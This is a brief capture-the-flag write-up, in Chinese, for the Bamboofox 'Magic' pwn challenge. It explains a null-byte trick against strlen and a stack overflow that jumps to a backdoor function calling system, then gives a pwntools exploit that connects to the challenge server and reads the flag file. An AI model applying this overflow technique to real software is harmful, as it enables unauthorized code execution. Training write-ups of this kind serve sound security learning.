---
# System prepended metadata

title: 'Bamboofox/train/Magic [50]'
tags: [CTF, Bamboofox, writeup, PWN]

---

# Bamboofox/train/Magic [50]
###### tags: `CTF`,`PWN`,`Bamboofox`,`writeup`

題目檔案連結:http://gofile.me/6lhQ2/ixCe00Geg

scanf會在空格或Enter截斷
strlen則是截斷在\x00的地方
因此這題只要在送出的字串中插入\x00即可保護以後的字串不被do_magic
有一個never_use的函式直接跑system大開後門
never_use的位置是在804860d，0d是CR字元，因此選擇跳到8048613
```
# -*- coding: UTF-8 -*-
from pwn import *

local = False
debug = False
gdb1 = False

elf1 = ELF("./magic")
if debug == True:
    context.loglevel = "debug"
if local == True:
    r = process("./magic")
    if gdb1 == True:
        gdb.attach(r)
else:
    r = remote('bamboofox.cs.nctu.edu.tw', 10000)
    


never_use = elf1.symbols['never_use']

print(r.recvuntil(":"))
r.sendline("a")
print(r.recvuntil(":"))
r.sendline(b"a"+b"\x00"+b"b"*70+p32(never_use+6))
r.sendline("cat /home/ctf/flag")

r.interactive()

```